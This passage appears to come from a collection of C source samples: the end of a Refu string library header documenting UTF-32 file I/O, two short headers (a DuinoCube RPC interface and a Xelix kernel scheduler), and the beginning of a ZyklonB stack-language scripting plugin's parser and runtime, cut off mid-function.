rfString_Assign_fUTF16(RF_String* str,FILE* f, char endianess,char* eof);\n\n// @memberof RF_String\n// @cppnotctor\n// @brief Allocates and returns a string from UTF-32 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and saves it as an RF_StringX\n// The file's encoding must be UTF-32.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-32.\n// @param endianess A flag that determines in what endianess the UTF-32 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this initialization\n// @return The initialized string or null pointer in case of failure to read the file\ni_DECLIMEX_ RF_String* rfString_Create_fUTF32(FILE* f,char endianess, char* eof);\n// @memberof RF_String\n// @brief Initializes a string from UTF-32 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and saves it as an RF_StringX\n// The file's encoding must be UTF-32.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param str The extended string to initialize\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-32.\n// @param endianess A flag that determines in what endianess the UTF-32 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this initialization\n// @return Returns either a positive number for succesfull initialization that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF32LE() can produce.\ni_DECLIMEX_ int32_t rfString_Init_fUTF32(RF_String* str,FILE* f,char endianess, char* eof);\n// @memberof RF_String\n// @brief Assigns the contents of a UTF-32 file to a string\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and assigns it as the contents of the given RF_StringX\n// The file's encoding must be UTF-32.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param str The extended string to assign to\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-32.\n// @param endianess A flag that determines in what endianess the UTF-32 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this assignment\n// @return Returns either a positive number for succesfull assignment that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF32LE() can produce.\ni_DECLIMEX_ int32_t rfString_Assign_fUTF32(RF_String* str,FILE* f,char endianess, char* eof);\n// @memberof RF_String\n// @brief Appends the contents of a UTF-32 file to a string\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and appends to the given RF_StringX\n// The file's encoding must be UTF-32.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param str The extended string to append to\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-32.\n// @param endianess A flag that determines in what endianess the UTF-32 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this appending\n// @return Returns either a positive number for succesfull appending that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF32LE() can produce.\ni_DECLIMEX_ int32_t rfString_Append_fUTF32(RF_String* str,FILE* f,char endianess, char* eof);\n\n// @memberof RF_String\n// @brief Writes a string to a file depending on the given encoding\n//\n// @isinherited{StringX}\n// This function shall output the string @c s into the file descriptor @c f in the given @c encoding .\n// @lmsFunction\n// @param s The string to write to the file @inhtype{String,StringX} @tmpSTR\n// @param f A valid and open file pointer into which to write the string.\n// @param encoding \\rfoptional{@c RF_UTF8} The encoding of the file. Default is @c RF_UTF8. Can be one of:\n// + @c RF_UTF8: For Unicode UTF-8 encoding\n// + @c RF_UTF16_BE: For Unicode UTF-16 encoding in Big Endian endianess\n// + @c RF_UTF16_LE: For Unicode UTF-16 encoding in Little Endian endianess\n// + @c RF_UTF32_BE: For Unicode UTF-32 encoding in Big Endian endianess\n// + @c RF_UTF32_LE: For Unicode UTF-32 encoding in Little Endian endianess\n// @return Returns @c RF_SUCCESS for succesfull writting and error otherwise. Possible errors are:\n// + @c RE_FILE_WRITE: There was an unknown write error\n// + @c RE_FILE_WRITE_BLOCK: The write failed because the file was occupied by another thread and the no block flag was set\n// + @c RE_FILE_BAD: The file descriptor @c f was corrupt\n// + @c RE_FILE_TOOBIG: The file's size exceeds the system limiti\n// + @c RE_INTERRUPT: Writting failed due to a system interrupt\n// + @c RE_FILE_IO: Writting failed because of a physical I/O error\n// + @c RE_FILE_NOSPACE: Writting failed because the device containing the file had no free space\n// + @c RE_FILE_NOT_FILE: Writting failed because the given file descriptor @c f is either non existen or not a file\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\n    i_DECLIMEX_ int32_t rfString_Fwrite(void* s,FILE* f,char encoding);\n#else\n    i_DECLIMEX_ int32_t i_rfString_Fwrite(void* s,FILE* f,char* encoding);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Fwrite(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_FWRITE,3,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_FWRITE1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Fwrite() accepts from 2 to 3 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_FWRITE0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_FWRITE,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_FWRITE3(i_STR_,i_FILE_,i_ENCODING_) i_rfLMSX_WRAP3(int32_t,i_rfString_Fwrite,i_STR_,i_FILE_,i_RFI8_(i_ENCODING_))\n        #define i_SELECT_RF_STRING_FWRITE2(i_STR_,i_FILE_) i_rfLMSX_WRAP3(int32_t,i_rfString_Fwrite,i_STR_,i_FILE_,i_RFI8_(RF_UTF8))\n        #define i_SELECT_RF_STRING_FWRITE1(i_STR_,i_FILE_) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Fwrite() accepts from 2 to 3 arguments\\\"\")\n        #define i_SELECT_RF_STRING_FWRITE0(i_STR_,i_FILE_) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Fwrite() accepts from 2 to 3 arguments\\\"\")\n    #else\n        #define rfString_Fwrite_fUTF8(i_STR_,i_FILE_,i_ENCODING_) i_rfLMSX_WRAP3(int32_t,i_rfString_Fwrite,i_STR_,i_FILE_,i_RFI8_(i_ENCODING_))\n    #endif\n#endif\n\n\n// @}\n// closing the String File I/o functions\n\n#ifdef __cplusplus\n}// closing bracket for calling from C++\n#endif\n\n#else // end of the strings module include\n    #error Attempted to include Refu String manipulation with the String module flag off. Rebuild the library with that option added if you need to include them\n#endif\n\n#endif// include guards end\n\n"
  },
  {
    "path": "samples/C/rpc.h",
    "content": "// Copyright (C) 2013 Simon Que\n//\n// This file is part of DuinoCube.\n//\n// DuinoCube is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Lesser General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// DuinoCube is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU Lesser General Public License for more details.\n//\n// You should have received a copy of the GNU Lesser General Public License\n// along with DuinoCube.  If not, see <http://www.gnu.org/licenses/>.\n\n// DuinoCube remote procedure call functions.\n\n#include <stdint.h>\n\n// Initializes RPC system.\nvoid rpc_init();\n\n// Runs the RPC server loop forever.\nvoid rpc_server_loop();\n"
  },
  {
    "path": "samples/C/scheduler.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <hw/cpu.h>\n#include <memory/vmem.h>\n\n#define SCHEDULER_MAXNAME 256\n#define SCHEDULER_TASK_PATH_MAX 256\n\n// Single linked list\ntypedef struct task {\n\tuint32_t pid;\n\tchar name[SCHEDULER_MAXNAME];\n\tstruct task *parent;\n\tcpu_state_t* state;\n\tstruct task* next;\n\tstruct task* previous;\n\n\tvoid* stack;\n\tvoid* entry;\n\tstruct vmem_context *memory_context;\n\n\t// Current task state\n\tenum {\n\t\tTASK_STATE_KILLED,\n\t\tTASK_STATE_TERMINATED,\n\t\tTASK_STATE_BLOCKING,\n\t\tTASK_STATE_STOPPED,\n\t\tTASK_STATE_RUNNING\n\t} task_state;\n\n\tchar** environ;\n\tchar** argv;\n\tint argc;\n\n\t// TODO Is this actually the same as PATH_MAX in our toolchain?\n\tchar cwd[SCHEDULER_TASK_PATH_MAX + 1];\n} task_t;\n\nint scheduler_state;\n\ntask_t* scheduler_new(void* entry, task_t* parent, char name[SCHEDULER_MAXNAME],\n\tchar** environ, char** argv, int argc, struct vmem_context* memory_context, bool map_structs);\nvoid scheduler_add(task_t *task);\nvoid scheduler_terminate_current();\ntask_t* scheduler_get_current();\ntask_t* scheduler_select(cpu_state_t* lastRegs);\nvoid scheduler_init();\nvoid scheduler_yield();\nvoid scheduler_remove(task_t *t);\ntask_t* scheduler_fork(task_t* to_fork, cpu_state_t* state);"
  },
  {
    "path": "samples/C/script",
    "content": "#!/usr/bin/tcc -run -lm\n//\n// ZyklonB scripting plugin, using a custom stack-based language\n//\n// Copyright 2014 Přemysl Janouch.  All rights reserved.\n// See the file LICENSE for licensing information.\n//\n// Just compile this file as usual (sans #!) if you don't feel like using TCC.\n// It is a very basic and portable C99 application.  It's not supposed to be\n// very sophisticated, for it'd get extremely big.\n//\n// The main influences of the language were Factor and Joy, stripped of all\n// even barely complex stuff.  In its current state, it's only really useful as\n// a calculator but it's got great potential for extending.\n//\n// If you don't like something, just change it; this is just an experiment.\n//\n// NOTE: it is relatively easy to abuse.  Be careful.\n//\n\n#define _XOPEN_SOURCE 500\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <errno.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <time.h>\n#include <stdbool.h>\n#include <strings.h>\n#include <math.h>\n\n#define ADDRESS_SPACE_LIMIT (100 * 1024 * 1024)\n#include <sys/resource.h>\n\n#if defined __GNUC__\n#define ATTRIBUTE_PRINTF(x, y) __attribute__ ((format (printf, x, y)))\n#else // ! __GNUC__\n#define ATTRIBUTE_PRINTF(x, y)\n#endif // ! __GNUC__\n\n#define N_ELEMENTS(a) (sizeof (a) / sizeof ((a)[0]))\n\n// --- Utilities ---------------------------------------------------------------\n\nstatic char *strdup_printf (const char *format, ...) ATTRIBUTE_PRINTF (1, 2);\n\nstatic char *\nstrdup_vprintf (const char *format, va_list ap)\n{\n\tva_list aq;\n\tva_copy (aq, ap);\n\tint size = vsnprintf (NULL, 0, format, aq);\n\tva_end (aq);\n\tif (size < 0)\n\t\treturn NULL;\n\n\tchar buf[size + 1];\n\tsize = vsnprintf (buf, sizeof buf, format, ap);\n\tif (size < 0)\n\t\treturn NULL;\n\n\treturn strdup (buf);\n}\n\nstatic char *\nstrdup_printf (const char *format, ...)\n{\n\tva_list ap;\n\tva_start (ap, format);\n\tchar *result = strdup_vprintf (format, ap);\n\tva_end (ap);\n\treturn result;\n}\n\n// --- Generic buffer ----------------------------------------------------------\n\nstruct buffer\n{\n\tchar *s;                            ///< Buffer data\n\tsize_t alloc;                       ///< Number of bytes allocated\n\tsize_t len;                         ///< Number of bytes used\n\tbool memory_failure;                ///< Memory allocation failed\n};\n\n#define BUFFER_INITIALIZER { NULL, 0, 0, false }\n\nstatic bool\nbuffer_append (struct buffer *self, const void *s, size_t n)\n{\n\tif (self->memory_failure)\n\t\treturn false;\n\n\tif (!self->s)\n\t\tself->s = malloc (self->alloc = 8);\n\twhile (self->len + n > self->alloc)\n\t\tself->s = realloc (self->s, self->alloc <<= 1);\n\n\tif (!self->s)\n\t{\n\t\tself->memory_failure = true;\n\t\treturn false;\n\t}\n\n\tmemcpy (self->s + self->len, s, n);\n\tself->len += n;\n\treturn true;\n}\n\ninline static bool\nbuffer_append_c (struct buffer *self, char c)\n{\n\treturn buffer_append (self, &c, 1);\n}\n\n// --- Data types --------------------------------------------------------------\n\nenum item_type\n{\n\tITEM_STRING,\n\tITEM_WORD,\n\tITEM_INTEGER,\n\tITEM_FLOAT,\n\tITEM_LIST\n};\n\nstruct item\n{\n#define ITEM_HEADER                                                            \\\n\tenum item_type type;                /**< The type of this object        */ \\\n\tstruct item *next;                  /**< Next item on the list/stack    */\n\n\tITEM_HEADER\n};\n\nstruct item_string\n{\n\tITEM_HEADER\n\tsize_t len;                         ///< Length of the string (sans '\\0')\n\tchar value[];                       ///< The null-terminated string value\n};\n\n#define get_string(item)                                                       \\\n\t(assert ((item)->type == ITEM_STRING),                                     \\\n\t ((struct item_string *)(item))->value)\n\n/// It looks like a string but it doesn't quack like a string\n#define item_word item_string\n\n#define get_word(item)                                                         \\\n\t(assert ((item)->type == ITEM_WORD),                                       \\\n\t ((struct item_word *)(item))->value)\n\nstruct item_integer\n{\n\tITEM_HEADER\n\tlong long value;                    ///< The integer value\n};\n\n#define get_integer(item)                                                      \\\n\t(assert ((item)->type == ITEM_INTEGER),                                    \\\n\t ((struct item_integer *)(item))->value)\n\nstruct item_float\n{\n\tITEM_HEADER\n\tlong double value;                  ///< The floating point value\n};\n\n#define get_float(item)                                                        \\\n\t(assert ((item)->type == ITEM_FLOAT),                                      \\\n\t ((struct item_float *)(item))->value)\n\nstruct item_list\n{\n\tITEM_HEADER\n\tstruct item *head;                  ///< The head of the list\n};\n\n#define get_list(item)                                                         \\\n\t(assert ((item)->type == ITEM_LIST),                                       \\\n\t ((struct item_list *)(item))->head)\n\n#define set_list(item, head_)                                                  \\\n\t(assert ((item)->type == ITEM_LIST),                                       \\\n\t item_free_list (((struct item_list *)(item))->head),                      \\\n\t ((struct item_list *)(item))->head = (head_))\n\nconst char *\nitem_type_to_str (enum item_type type)\n{\n\tswitch (type)\n\t{\n\tcase ITEM_STRING:   return \"string\";\n\tcase ITEM_WORD:     return \"word\";\n\tcase ITEM_INTEGER:  return \"integer\";\n\tcase ITEM_FLOAT:    return \"float\";\n\tcase ITEM_LIST:     return \"list\";\n\t}\n\tabort ();\n}\n\n// --- Item management ---------------------------------------------------------\n\nstatic void item_free_list (struct item *);\nstatic struct item *new_clone_list (const struct item *);\n\nstatic void\nitem_free (struct item *item)\n{\n\tif (item->type == ITEM_LIST)\n\t\titem_free_list (get_list (item));\n\tfree (item);\n}\n\nstatic void\nitem_free_list (struct item *item)\n{\n\twhile (item)\n\t{\n\t\tstruct item *link = item;\n\t\titem = item->next;\n\t\titem_free (link);\n\t}\n}\n\nstatic struct item *\nnew_clone (const struct item *item)\n{\n\tsize_t size;\n\tswitch (item->type)\n\t{\n\tcase ITEM_STRING:\n\tcase ITEM_WORD:\n\t{\n\t\tconst struct item_string *x = (const struct item_string *) item;\n\t\tsize = sizeof *x + x->len + 1;\n\t\tbreak;\n\t}\n\tcase ITEM_INTEGER:  size = sizeof (struct item_integer);  break;\n\tcase ITEM_FLOAT:    size = sizeof (struct item_float);    break;\n\tcase ITEM_LIST:     size = sizeof (struct item_list);     break;\n\t}\n\n\tstruct item *clone = malloc (size);\n\tif (!clone)\n\t\treturn NULL;\n\n\tmemcpy (clone, item, size);\n\tif (item->type == ITEM_LIST)\n\t{\n\t\tstruct item_list *x = (struct item_list *) clone;\n\t\tif (x->head && !(x->head = new_clone_list (x->head)))\n\t\t{\n\t\t\tfree (clone);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\tclone->next = NULL;\n\treturn clone;\n}\n\nstatic struct item *\nnew_clone_list (const struct item *item)\n{\n\tstruct item *head = NULL, *clone;\n\tfor (struct item **out = &head; item; item = item->next)\n\t{\n\t\tif (!(clone = *out = new_clone (item)))\n\t\t{\n\t\t\titem_free_list (head);\n\t\t\treturn NULL;\n\t\t}\n\t\tclone->next = NULL;\n\t\tout = &clone->next;\n\t}\n\treturn head;\n}\n\nstatic struct item *\nnew_string (const char *s, ssize_t len)\n{\n\tif (len < 0)\n\t\tlen = strlen (s);\n\n\tstruct item_string *item = calloc (1, sizeof *item + len + 1);\n\tif (!item)\n\t\treturn NULL;\n\n\titem->type = ITEM_STRING;\n\titem->len = len;\n\tmemcpy (item->value, s, len);\n\titem->value[len] = '\\0';\n\treturn (struct item *) item;\n}\n\nstatic struct item *\nnew_word (const char *s, ssize_t len)\n{\n\tstruct item *item = new_string (s, len);\n\tif (!item)\n\t\treturn NULL;\n\n\titem->type = ITEM_WORD;\n\treturn item;\n}\n\nstatic struct item *\nnew_integer (long long value)\n{\n\tstruct item_integer *item = calloc (1, sizeof *item);\n\tif (!item)\n\t\treturn NULL;\n\n\titem->type = ITEM_INTEGER;\n\titem->value = value;\n\treturn (struct item *) item;\n}\n\nstatic struct item *\nnew_float (long double value)\n{\n\tstruct item_float *item = calloc (1, sizeof *item);\n\tif (!item)\n\t\treturn NULL;\n\n\titem->type = ITEM_FLOAT;\n\titem->value = value;\n\treturn (struct item *) item;\n}\n\nstatic struct item *\nnew_list (struct item *head)\n{\n\tstruct item_list *item = calloc (1, sizeof *item);\n\tif (!item)\n\t\treturn NULL;\n\n\titem->type = ITEM_LIST;\n\titem->head = head;\n\treturn (struct item *) item;\n}\n\n// --- Parsing -----------------------------------------------------------------\n\n#define PARSE_ERROR_TABLE(XX)                                                  \\\n\tXX( OK,                  NULL                                  )           \\\n\tXX( EOF,                 \"unexpected end of input\"             )           \\\n\tXX( INVALID_HEXA_ESCAPE, \"invalid hexadecimal escape sequence\" )           \\\n\tXX( INVALID_ESCAPE,      \"unrecognized escape sequence\"        )           \\\n\tXX( MEMORY,              \"memory allocation failure\"           )           \\\n\tXX( FLOAT_RANGE,         \"floating point value out of range\"   )           \\\n\tXX( INTEGER_RANGE,       \"integer out of range\"                )           \\\n\tXX( INVALID_INPUT,       \"invalid input\"                       )           \\\n\tXX( UNEXPECTED_INPUT,    \"unexpected input\"                    )\n\nenum tokenizer_error\n{\n#define XX(x, y) PARSE_ERROR_ ## x,\n\tPARSE_ERROR_TABLE (XX)\n#undef XX\n\tPARSE_ERROR_COUNT\n};\n\nstruct tokenizer\n{\n\tconst char *cursor;\n\tenum tokenizer_error error;\n};\n\nstatic bool\ndecode_hexa_escape (struct tokenizer *self, struct buffer *buf)\n{\n\tint i;\n\tchar c, code = 0;\n\n\tfor (i = 0; i < 2; i++)\n\t{\n\t\tc = tolower (*self->cursor);\n\t\tif (c >= '0' && c <= '9')\n\t\t\tcode = (code << 4) | (c - '0');\n\t\telse if (c >= 'a' && c <= 'f')\n\t\t\tcode = (code << 4) | (c - 'a' + 10);\n\t\telse\n\t\t\tbreak;\n\n\t\tself->cursor++;\n\t}\n\n\tif (!i)\n\t\treturn false;\n\n\tbuffer_append_c (buf, code);\n\treturn true;\n}\n\nstatic bool\ndecode_octal_escape (struct tokenizer *self, struct buffer *buf)\n{\n\tint i;\n\tchar c, code = 0;\n\n\tfor (i = 0; i < 3; i++)\n\t{\n\t\tc = *self->cursor;\n\t\tif (c < '0' || c > '7')\n\t\t\tbreak;\n\n\t\tcode = (code << 3) | (c - '0');\n\t\tself->cursor++;\n\t}\n\n\tif (!i)\n\t\treturn false;\n\n\tbuffer_append_c (buf, code);\n\treturn true;\n}\n\nstatic bool\ndecode_escape_sequence (struct tokenizer *self, struct buffer *buf)\n{\n\t// Support some basic escape sequences from the C language\n\tchar c;\n\tswitch ((c = *self->cursor))\n\t{\n\tcase '\\0':\n\t\tself->error = PARSE_ERROR_EOF;\n\t\treturn false;\n\tcase 'x':\n\tcase 'X':\n\t\tself->cursor++;\n\t\tif (decode_hexa_escape (self, buf))\n\t\t\treturn true;\n\n\t\tself->error = PARSE_ERROR_INVALID_HEXA_ESCAPE;\n\t\treturn false;\n\tdefault:\n\t\tif (decode_octal_escape (self, buf))\n\t\t\treturn true;\n\n\t\tself->cursor++;\n\t\tconst char *from = \"abfnrtv\\\"\\\\\", *to = \"\\a\\b\\f\\n\\r\\t\\v\\\"\\\\\", *x;\n\t\tif ((x = strchr (from, c)))\n\t\t{\n\t\t\tbuffer_append_c (buf, to[x - from]);\n\t\t\treturn true;\n\t\t}\n\n\t\tself->error = PARSE_ERROR_INVALID_ESCAPE;\n\t\treturn false;\n\t}\n}\n\nstatic struct item *\nparse_string (struct tokenizer *self)\n{\n\tstruct buffer buf = BUFFER_INITIALIZER;\n\tstruct item *item = NULL;\n\tchar c;\n\n\twhile (true)\n\tswitch ((c = *self->cursor++))\n\t{\n\tcase '\\0':\n\t\tself->cursor--;\n\t\tself->error = PARSE_ERROR_EOF;\n\t\tgoto end;\n\tcase '\"':\n\t\tif (buf.memory_failure\n\t\t || !(item = new_string (buf.s, buf.len)))\n\t\t\tself->error = PARSE_ERROR_MEMORY;\n\t\tgoto end;\n\tcase '\\\\':\n\t\tif (decode_escape_sequence (self, &buf))\n\t\t\tbreak;\n\t\tgoto end;\n\tdefault:\n\t\tbuffer_append_c (&buf, c);\n\t}\n\nend:\n\tfree (buf.s);\n\treturn item;\n}\n\nstatic struct item *\ntry_parse_number (struct tokenizer *self)\n{\n\t// These two standard library functions can digest a lot of various inputs,\n\t// including NaN and +/- infinity.  That may get a bit confusing.\n\tchar *float_end;\n\terrno = 0;\n\tlong double float_value = strtold (self->cursor, &float_end);\n\tint float_errno = errno;\n\n\tchar *int_end;\n\terrno = 0;\n\tlong long int_value = strtoll (self->cursor, &int_end, 10);\n\tint int_errno = errno;\n\n\t// If they both fail, then this is most probably not a number.\n\tif (float_end == int_end && float_end == self->cursor)\n\t\treturn NULL;\n\n\t// Only use the floating point result if it parses more characters:\n\tstruct item *item;\n\tif (float_end > int_end)\n\t{\n\t\tif (float_errno == ERANGE)\n\t\t{\n\t\t\tself->error = PARSE_ERROR_FLOAT_RANGE;\n\t\t\treturn NULL;\n\t\t}\n\t\tself->cursor = float_end;\n\t\tif (!(item = new_float (float_value)))\n\t\t\tself->error = PARSE_ERROR_MEMORY;\n\t\treturn item;\n\t}\n\telse\n\t{\n\t\tif (int_errno == ERANGE)\n\t\t{\n\t\t\tself->error = PARSE_ERROR_INTEGER_RANGE;\n\t\t\treturn NULL;\n\t\t}\n\t\tself->cursor = int_end;\n\t\tif (!(item = new_integer (int_value)))\n\t\t\tself->error = PARSE_ERROR_MEMORY;\n\t\treturn item;\n\t}\n}\n\nstatic struct item *\nparse_word (struct tokenizer *self)\n{\n\tstruct buffer buf = BUFFER_INITIALIZER;\n\tstruct item *item = NULL;\n\tchar c;\n\n\t// Here we accept almost anything that doesn't break the grammar\n\twhile (!strchr (\" []\\\"\", (c = *self->cursor++)) && (unsigned char) c > ' ')\n\t\tbuffer_append_c (&buf, c);\n\tself->cursor--;\n\n\tif (buf.memory_failure)\n\t\tself->error = PARSE_ERROR_MEMORY;\n\telse if (!buf.len)\n\t\tself->error = PARSE_ERROR_INVALID_INPUT;\n\telse if (!(item = new_word (buf.s, buf.len)))\n\t\tself->error = PARSE_ERROR_MEMORY;\n\n\tfree (buf.s);\n\treturn item;\n}\n\nstatic struct item *parse_item_list (struct tokenizer *);\n\nstatic struct item *\nparse_list (struct tokenizer *self)\n{\n\tstruct item *list = parse_item_list (self);\n\tif (self->error)\n\t{\n\t\tassert (list == NULL);\n\t\treturn NULL;\n\t}\n\tif (!*self->cursor)\n\t{\n\t\tself->error = PARSE_ERROR_EOF;\n\t\titem_free_list (list);\n\t\treturn NULL;\n\t}\n\tassert (*self->cursor == ']');\n\tself->cursor++;\n\treturn new_list (list);\n}\n\nstatic struct item *\nparse_item (struct tokenizer *self)\n{\n\tchar c;\n\tswitch ((c = *self->cursor++))\n\t{\n\tcase '[':  return parse_list (self);\n\tcase '\"':  return parse_string (self);\n\tdefault:;\n\t}\n\n\tself->cursor--;\n\tstruct item *item = try_parse_number (self);\n\tif (!item && !self->error)\n\t\titem = parse_word (self);\n\treturn item;\n}\n\nstatic struct item *\nparse_item_list (struct tokenizer *self)\n{\n\tstruct item *head = NULL;\n\tstruct item **tail = &head;\n\n\tchar c;\n\tbool expected = true;\n\twhile ((c = *self->cursor) && c != ']')\n\t{\n\t\tif (isspace (c))\n\t\t{\n\t\t\tself->cursor++;\n\t\t\texpected = true;\n\t\t\tcontinue;\n\t\t}\n\t\telse if (!expected)\n\t\t{\n\t\t\tself->error = PARSE_ERROR_UNEXPECTED_INPUT;\n\t\t\tgoto fail;\n\t\t}\n\n\t\tif (!(*tail = parse_item (self)))\n\t\t\tgoto fail;\n\t\ttail = &(*tail)->next;\n\t\texpected = false;\n\t}\n\treturn head;\n\nfail:\n\titem_free_list (head);\n\treturn NULL;\n}\n\nstatic struct item *\nparse (const char *s, const char **error)\n{\n\tstruct tokenizer self = { .cursor = s, .error = PARSE_ERROR_OK };\n\tstruct item *list = parse_item_list (&self);\n\tif (!self.error && *self.cursor != '\\0')\n\t{\n\t\tself.error = PARSE_ERROR_UNEXPECTED_INPUT;\n\t\titem_free_list (list);\n\t\tlist = NULL;\n\t}\n\n#define XX(x, y) y,\n\tstatic const char *strings[PARSE_ERROR_COUNT] =\n\t\t{ PARSE_ERROR_TABLE (XX) };\n#undef XX\n\n\tstatic char error_buf[128];\n\tif (self.error && error)\n\t{\n\t\tsnprintf (error_buf, sizeof error_buf, \"at character %d: %s\",\n\t\t\t(int) (self.cursor - s) + 1, strings[self.error]);\n\t\t*error = error_buf;\n\t}\n\treturn list;\n}\n\n// --- Runtime -----------------------------------------------------------------\n\n// TODO: try to think of a _simple_ way to do preemptive multitasking\n\nstruct context\n{\n\tstruct item *stack;                 ///< The current top of the stack\n\tsize_t stack_size;                  ///< Number of items on the stack\n\n\tsize_t reduction_count;             ///< # of function calls so far\n\tsize_t reduction_limit;             ///< The hard limit on function calls\n\n\tchar *error;                        ///< Error information\n\tbool error_is_fatal;                ///< Whether the error can be catched\n\tbool memory_failure;                ///< Memory allocation failure\n\n\tvoid *user_data;                    ///< User data\n};\n\n/// Internal handler for a function\ntypedef bool (*handler_fn) (struct context *);\n\nstruct fn\n{\n\tstruct fn *next;                    ///< The next link in the chain\n\n\thandler_fn handler;                 ///< Internal C handler, or NULL\n\tstruct item *script;                ///< Alternatively runtime code\n\tchar name[];                        ///< The name of the function\n};\n\nstruct fn *g_functions;                 ///< Maps words to functions\n\nstatic void\ncontext_init (struct context *ctx)\n{\n\tctx->stack = NULL;\n\tctx->stack_size = 0;\n\n\tctx->reduction_count = 0;\n\tctx->reduction_limit = 2000;\n\n\tctx->error = NULL;\n\tctx->error_is_fatal = false;\n\tctx->memory_failure = false;\n\n\tctx->user_data = NULL;\n}\n\nstatic void\ncontext_free (struct context *ctx)\n{\n\titem_free_list (ctx->stack);\n\tctx->stack = NULL;\n\n\tfree (ctx->error);\n\tctx->error = NULL;\n}\n\nstatic bool\nset_error (struct context *ctx, const char *format, ...)\n{\n\tfree (ctx->error);\n\n\tva_list ap;\n\tva_start (ap, format);\n\tctx->error = strdup_vprintf (format, ap);\n\tva_end (ap);\n\n\tif (!ctx->error)\n\t\tctx->memory_failure = true;\n\treturn false;\n}\n\nstatic bool\npush (struct context *ctx, struct item *item)\n{\n\t// The `item' is typically a result from new_<type>(), thus when it is null,\n\t// that function must have failed.  This is a shortcut for convenience.\n\tif (!item)\n\t{\n\t\tctx->memory_failure = true;\n\t\treturn false;\n\t}\n\n\tassert (item->next == NULL);\n\titem->next = ctx->stack;\n\tctx->stack = item;\n\tctx->stack_size++;\n\treturn true;\n}\n\nstatic bool\nbump_reductions (struct context *ctx)\n{\n\tif (++ctx->reduction_count >= ctx->reduction_limit)\n\t{\n\t\tctx->error_is_fatal = true;\n\t\treturn set_error (ctx, \"reduction limit reached\");\n\t}\n\treturn true;\n}\n\nstatic bool execute (struct context *, struct item *);\n\nstatic bool\ncall_function (struct context *ctx, const char *name)\n{\n\tstruct fn *iter;\n\tfor (iter = g_functions; iter; iter = iter->next)\n\t\tif (!strcmp (name, iter->name))\n\t\t\tgoto found;\n\treturn set_error (ctx, \"unknown function: %s\", name);\n\nfound:\n\tif (!bump_reductions (ctx))\n\t\treturn false;\n\n\tif (iter->handler\n\t\t? iter->handler (ctx)\n\t\t: execute (ctx, iter->script))\n\t\treturn true;\n\n\t// In this case, `error' is NULL\n\tif (ctx->memory_failure)\n\t\treturn false;\n\n\t// This creates some form of a stack trace\n\tchar *tmp = ctx->error;\n\tctx->error = NULL;\n\tset_error (ctx, \"%s -> %s\", name, tmp);\n\tfree (tmp);\n\treturn false;\n}\n\nstatic void\nfree_function (struct fn *fn)\n{\n\titem_free_list (fn->script);\n\tfree (fn);\n}\n\nstatic void\nunregister_function (const char *name)\n{\n\tfor (struct fn **iter = &g_functions; *iter; iter = &(*iter)->next)\n\t\tif (!strcmp ((*iter)->name, name))\n\t\t{\n\t\t\tstruct fn *tmp = *iter;\n\t\t\t*iter = tmp->next;\n\t\t\tfree_function 